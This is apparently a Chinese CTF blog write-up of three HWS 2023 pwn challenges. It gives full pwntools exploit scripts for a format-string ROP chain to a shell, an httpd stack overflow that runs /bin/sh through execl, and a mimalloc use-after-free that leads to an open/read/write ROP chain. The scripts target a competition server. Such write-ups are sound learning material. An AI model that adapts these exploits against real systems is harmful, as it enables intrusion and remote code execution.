HWS 2023 SUMMER wp

HWS 2023 SUMMER wp

解题情况

本人菜鸡一枚,就堪堪ak了pwn题,别的方向一点不会()

解题情况如下:

  1. fmt
  2. httpd
  3. mi

Jmp.Cliff,总分1071分,位列第34名

解题思路

fmt

进去之后发现main函数启动了一个run函数,run里面有两次printf是有格式化字符串漏洞的。

第一次printf泄露栈上数据,得到libc基址,栈基址以及elf文件基址。第二次printf利用先前泄露的地址,通过%hhn,修改run函数返回地址的低位字节,将其修改为main函数中的call run指令。

这样,run函数结束后,会返回main函数并继续调用run函数。此时我们可以每次printf都往run函数的返回地址下方写入rop链,并将run的返回地址修改为call run,如此返回直到rop链在run的返回地址下方铺好,最后一轮再把run的返回地址改为与其相近的ret指令地址即可执行rop链拿到shell。

EXP:

from pwn import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'

ELFpath='/home/wjc/Desktop/fmt' 
libcpath='/home/wjc/glibc-all-in-one-master/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so'

#p=process(ELFpath)
p=remote('123.60.179.52',30098)

e=ELF(ELFpath)
libc=ELF(libcpath)

rut=lambda s :p.recvuntil(s,timeout=0.1)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s) 
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,'\x00'))
get_addr_num = lambda :int(r(12),16)

LOGTOOL={}
def LOGALL():
    log.success("**** all result ****")
    for i in LOGTOOL.items():
        log.success("%-20s%s"%(i[0]+":",hex(i[1])))

def get_base(a, text_name):
    text_addr = 0
    libc_base = 0
    for name, addr in a.libs().items():
        if text_name in name:
            text_addr = addr
        elif "libc" in name:
            libc_base = addr 
    return text_addr, libc_base
def debug():
    global p
    text_base, libc_base = get_base(p, 'noka')
    script = '''
    set $text_base = {}
    set $libc_base = {}
    b*$rebase(0x13AA)
    b*$rebase(0x136d)

    '''.format(text_base, libc_base)
    
    #b mprotect
    #b *($text_base+0x0000000000000000F84)
    #b *($text_base+0x000000000000134C)
    # b *($text_base+0x0000000000000000001126)
    #dprintf *($text_base+0x04441),"%c",$ax
    #dprintf *($text_base+0x04441),"%c",$ax
    #0x12D5
    #0x04441
    #b *($text_base+0x0000000000001671)
    gdb.attach(p, script)

def ptrxor(pos,ptr):
    return p64((pos >> 12) ^ ptr)


#debug()

ru('I need a str:')
sl('AAAAAAAA'+'%10$p%13$p%14$p' )

ru('A'*8)
ru('0x')
libcbase=get_addr_num()-0x1ed5c0
LOGTOOL['libcbase']=libcbase
ru('0x')
textbase=get_addr_num()-0x13f0
LOGTOOL['textbase']=textbase
ru('0x')
stackbase=get_addr_num()
LOGTOOL['stackbase']=stackbase

system_addr=libcbase+libc.symbols['system']
LOGTOOL['system']=system_addr
execve_addr=libcbase+libc.symbols['execve']
LOGTOOL['execve']=execve_addr
str_bin_sh=libcbase+0x00000000001b45bd
LOGTOOL['str_bin_sh']=str_bin_sh

pop_rdi_addr=libcbase+0x023b6a
pop_rsi_addr=libcbase+0x02601f
pop_rsi_addr=libcbase+0x142c92

ret_start=stackbase+0x10
run_ret=stackbase+0x8

def loop_write(value,offset):
    print("send:",hex(value))
    pay=''
    if(value==0):
        pay+='%221c%10$hhn'
        pay=pay.ljust(0x20,'\x00')
        pay+=p64(run_ret)
    elif(value>0xdd):
        pay+='%221c%11$hhn%'+str(value-0xdd)+'c%10$hhn'
        pay=pay.ljust(0x20,'\x00')
        pay+=p64(offset)+p64(run_ret)
    elif(value<0xdd):
        pay+='%'+str(value)+'c%10$hhn'+'%'+str(221-value)+'c%11$hhn'
        pay=pay.ljust(0x20,'\x00')
        pay+=p64(offset)+p64(run_ret)
    elif(value==0xdd):
        pay+='%216c%11$hhn%'+str(value-0xd8)+'c%10$hhn'
        pay=pay.ljust(0x20,'\x00')
        pay+=p64(offset)+p64(run_ret)
    
    sl(pay)

##e2->dd

pay='%221c%10$hhn'
pay=pay.ljust(0x20,'\x00')
pay+=p64(run_ret)

ru('I need other str:')
sl(pay)

rop_chain=p64(pop_rdi_addr)
rop_chain+=p64(str_bin_sh)
rop_chain+=p64(system_addr)

LOGALL()

for i in range(len(rop_chain)/2):
    print(hex(len(rop_chain)/2))
    print(hex(i))
    ru('I need a str:')
    loop_write(ord(rop_chain[i*2]),ret_start+i*2)
    ru('I need other str:')
    loop_write(ord(rop_chain[i*2+1]),ret_start+i*2+1)

pay='%232c%10$hhn'
pay=pay.ljust(0x20,'\x00')
pay+=p64(run_ret)
ru('I need a str:')
sl(pay)

pay='%232c%10$hhn'
pay=pay.ljust(0x20,'\x00')
pay+=p64(run_ret)
ru('I need other str:')
sl(pay)

it()

httpd

这是一个服务器,有很多网络函数。我们发现recv函数被封装了起来,姑且称之为recv_message,该自定义函数可以当做是一个read函数,只不过第一个参数不是文件描述符,而是套接字描述符。

服务器在接受GET类型报文时,读入第二行数据的时候有一个栈溢出漏洞,这个漏洞可以将数据写进栈上存储URL的数组,使得前面检测URL中是否含有..的检测无效。

在程序后半段,如果前面通过了对于URL的后缀名检测,那么就可以进入到后面的分支。如果URL里面含有"?",就会将这个字符位置置为0,可以做到断开前面为了过检测而加入的后缀名。进入处理?的分支之后,程序接下来会进入0x2993的函数,这个函数里有execl,是一个能启动shell的危险函数。

URL会在进入后半段程序之初经过处理,会在前面加入"htdocs",这会影响我们启动shell。但是我们可以构造一个这样的文件名:"htdocs/../bin/sh"来使得程序退回根目录去寻找/bin/sh,,也就是说我们送进去的URL必须为"/../bin/sh",这样就能启动shell了,实现这个效果需要用栈溢出绕过前面的检测。

之后获得shell,拿到flag。

EXP:

from pwn import *
import base64

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'

ELFpath='/home/wjc/Desktop/httpd' 
#libcpath='/home/wjc/glibc-all-in-one-master/libs/2.35-0ubuntu3.1_amd64/libc.so.6'

#start=gdb.debug(ELFpath,'b*$rebase(0x1e24)\nb*$rebase(0x215d)\nb*rebase(0x22c5)')
start=process(ELFpath)


p=remote('123.60.179.52',30195)
#p=remote('127.0.0.1',4000)


e=ELF(ELFpath)
#libc=ELF(libcpath)

rut=lambda s :p.recvuntil(s,timeout=0.1)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
rl=lambda :p.recvline()
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s) 
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,'\x00'))

LOGTOOL={}
def LOGALL():
    log.success("**** all result ****")
    for i in LOGTOOL.items():
        log.success("%-20s%s"%(i[0]+":",hex(i[1])))

def get_base(a, text_name):
    text_addr = 0
    libc_base = 0
    for name, addr in a.libs().items():
        if text_name in name:
            text_addr = addr
        elif "libc" in name:
            libc_base = addr 
    return text_addr, libc_base
def debug():
    global start
    text_base, libc_base = get_base(start, 'noka')
    script = '''
    set $text_base = {}
    set $libc_base = {}
    b*$rebase(0x1b5f)
    b*$rebase(0x1e24)

    '''.format(text_base, libc_base)
    
    #b mprotect
    #b *($text_base+0x0000000000000000F84)
    #b *($text_base+0x000000000000134C)
    # b *($text_base+0x0000000000000000001126)
    #dprintf *($text_base+0x04441),"%c",$ax
    #dprintf *($text_base+0x04441),"%c",$ax
    #0x12D5
    #0x04441
    #b *($text_base+0x0000000000001671)
    gdb.attach(start, script)

def ptrxor(pos,ptr):
    return p64((pos >> 12) ^ ptr)


#post='GET ssss\n'
post='GET aaaa.html\n'
#post+='12345678\n'
post+='Authorization: Basic '+base64.b64encode(64*'x'+'/../bin/sh?.html\x00\n')
post+='\n'

sl(post)

it()

mi

mi_malloc采用了一种新的堆管理器,与glibc有所不同。解出这道题需要快速现场学习和摸索其机制。

通过查询资料和不断摸索,我发现在0x500范围内的堆块分配都有一套共同规则:申请堆块时,堆管理器会立刻划分一大块内存(作为一个页?)供这个大小(或者这个范围内)的堆块使用。页内的内存已经被划分为了若干内存块,所有未被分配的内存构成一个空闲链表,取出时按从低地址到高地址取出,链表也是有低地址指向高地址,被释放的堆块会在这个页内相互串联成一个被释放过的链表,如果空闲链表还有内存,申请堆块的时候是不会从被释放链表取内存块的,只有空闲链表耗尽才会试图从被释放链表取内存块,这里取内存采用先进后出原则。

每个内存块的指针在前八个字节,而这道题add delete edit show四个功能齐备,add记录了size,大小限制在0x500以内,delete存在UAF,edit需要size作为长度参考,这在glibc里是很简单的情况,在这里也不算难。

利用puts的特点,可以立刻show到所申请的堆块下一个堆块(空闲链表堆块)的空闲链表指针(有概率指针内部存在\x00发生截断,需要重试),得到堆地址后。在申请满页内内存块后,利用UAF漏洞配合edit,劫持空闲链表指针指向堆段起点处,那里存有libc地址。之后通过show刚刚劫持过去的fake chunk内容泄露libc地址。

之后故技重施,泄露libc中environ的值,得到栈地址,再用同样的办法将内存块分配到栈上,在返回地址处写上orw的rop链子即可获得flag。

EXP:

from pwn import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'

ELFpath='/home/wjc/Desktop/pwn' 
libcpath='/home/wjc/Desktop/libc.so.6' 

p=process(ELFpath)
#p=remote('123.60.179.52',30258)

e=ELF(ELFpath)
libc=ELF(libcpath)

rut=lambda s :p.recvuntil(s,timeout=0.1)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s) 
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc_stack = lambda :u64(ru('\x7f')[-6:].ljust(8,'\x00'))
get_addr_num = lambda :int(r(12),16)

LOGTOOL={}
def LOGALL():
    log.success("**** all result ****")
    for i in LOGTOOL.items():
        log.success("%-20s%s"%(i[0]+":",hex(i[1])))

def get_base(a, text_name):
    text_addr = 0
    libc_base = 0
    for name, addr in a.libs().items():
        if text_name in name:
            text_addr = addr
        elif "libc" in name:
            libc_base = addr 
    return text_addr, libc_base
def debug():
    global p
    text_base, libc_base = get_base(p, 'noka')
    script = '''
    set $text_base = {}
    set $libc_base = {}
    b*$rebase(0x1583)
    b*$rebase(0x1622)
    '''.format(text_base, libc_base)
    
    #b mprotect
    #b *($text_base+0x0000000000000000F84)
    #b *($text_base+0x000000000000134C)
    # b *($text_base+0x0000000000000000001126)
    #dprintf *($text_base+0x04441),"%c",$ax
    #dprintf *($text_base+0x04441),"%c",$ax
    #0x12D5
    #0x04441
    #b *($text_base+0x0000000000001671)
    gdb.attach(p, script)

def ptrxor(pos,ptr):
    return p64((pos >> 12) ^ ptr)

def cmd(idx):
    ru('>>')
    sl(str(idx))
def add(size,content):
    cmd(1)
    ru('Pls input the size:')
    sl(str(size))
    ru('Pls input Content:')
    s(content)
def dele(idx):
    cmd(2)
    ru('Please input the idx:')
    sl(str(idx))
def edit(idx,content):
    cmd(3)
    ru('Please input the idx:')
    sl(str(idx))
    ru('Pls input the Content')
    s(content)
def show(idx):
    cmd(4)
    ru('Please input the idx:')
    sl(str(idx))
    
add(0x60,0x60*'x')
show(0)
ru(0x60*'x')
heapstart_str=ru('\nDone')[:-5]
print(heapstart_str)
if(len(heapstart_str)!=6):
    print("recv error!")
    exit()
heapstart=u64(heapstart_str.ljust(8,'\x00'))-0x60*2
LOGTOOL['heapstart']=heapstart
heapbase=heapstart-0x20080
LOGTOOL['heapbase']=heapbase

edit(0,'/flag\n')
add(0x500,'a'*0x500)    #1
add(0x500,'b'*0x500)    #2
dele(1)
dele(2)
add(0x500,'c'*0x500)    #3

fake_heap1_addr=heapbase+0x230
edit(2,p64(fake_heap1_addr))
add(0x500,'d'*0x500)    #4
add(0x500,'s'*0x10)     #5

show(5)
libcbase=get_leaked_libc_stack() - 0x257820 + 0x43000
LOGTOOL['libcbase']=libcbase
environ=libcbase + libc.symbols['__environ']
LOGTOOL['__environ']=environ
open_addr=libcbase+libc.symbols['open']
LOGTOOL['open_addr']=open_addr
read_addr=libcbase+libc.symbols['read']
LOGTOOL['read_addr']=read_addr
write_addr=libcbase+libc.symbols['write']
LOGTOOL['write_addr']=write_addr

#0x0000000000023b6a : pop rdi ; ret
pop_rdi_ret=libcbase+0x23b6a
#0x000000000002601f : pop rsi ; ret
pop_rsi_ret=libcbase+0x2601f
#0x0000000000142c92 : pop rdx ; ret
pop_rdx_ret=libcbase+0x142c92

add(0x400,'a'*0x400)    #6
add(0x400,'b'*0x400)    #7
dele(6)
dele(7)
add(0x400,'c'*0x400)    #8
add(0x400,'d'*0x400)    #9

fake_heap2_addr=environ-0x10
edit(7,p64(fake_heap2_addr))
add(0x400,'/bin/sh')    #10
add(0x400,0x10*'a')     #11

show(11)
stackbase=get_leaked_libc_stack()
LOGTOOL['stackbase']=stackbase
rop_addr=stackbase-0x120
LOGTOOL['rop_addr']=rop_addr

add(0x300,'a'*0x300)    #12
add(0x300,'b'*0x300)    #13
dele(12)
dele(13)
add(0x300,'c'*0x300)    #14
add(0x300,'d'*0x300)    #15
add(0x300,'e'*0x300)    #16

fake_heap3_addr=rop_addr
edit(13,p64(fake_heap3_addr))
add(0x300,'f'*0x300)    #17

rop_chain=p64(pop_rdi_ret)+p64(heapstart)+p64(pop_rsi_ret)+p64(0)+p64(open_addr)
rop_chain+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(heapstart+0x60)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)
rop_chain+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(heapstart+0x60)+p64(pop_rdx_ret)+p64(0x30)+p64(write_addr)

#debug()
add(0x300,rop_chain)     #18

LOGALL()

it()
posted @ 2023-07-17 20:10  Jmp·Cliff  阅读(504)  评论(2编辑  收藏  举报